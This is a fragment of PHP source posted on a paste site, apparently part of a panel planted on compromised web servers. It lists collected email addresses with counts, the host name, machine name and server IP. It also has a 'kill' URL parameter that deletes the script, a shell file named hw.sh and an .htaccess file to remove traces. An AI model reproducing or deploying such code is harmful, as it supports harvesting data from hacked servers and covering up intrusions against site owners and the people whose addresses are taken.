  720. print "$x1<td style='font-size: 22px;color: red; text-align: center;'> ".count(explode("@",$datamail))." </td>
  721. <td style='user-select: text;'>".$datamail."</td>
  722. <td>".$datasize."</td>
  723. <td>".$datadate."</td>
  724. <td > ".$dataname." </td>
  725. <td><a href='$api1' target='_blank'> ".$_SERVER['HTTP_HOST']." </a></td>
  726. <td><a href='$api2' target='_blank'> ".php_uname('n')." </a></td>
  727. <td><a href='https://ip-api.com/#".gethostbyname($_SERVER['HTTP_HOST'])."' target='_blank'> ".gethostbyname($_SERVER['HTTP_HOST'])." </a></td>
  728. $x2";
  729. }
  730.  
  731.  
  732.  
  733.  
  734. if(isset($_GET['kill'])){
  735. $a = basename($_SERVER['SCRIPT_NAME']);echo "<br><font color='chartreuse'>Deleted</font>";unlink($a);unlink('js/hw.sh');unlink('js/.htaccess');}
  736.  
  737.  
  738. if($p_print == 'on'){
  739. print"<br>
  740. </div>
  741. </body>
  742. </html>";
  743. }
  744. elseif($p_cmd == 'off'){
  745. print "</table></center>$java";
  746. }
  747. else{
  748. print "";
  749. }
Add Comment
Please, Sign In to add comment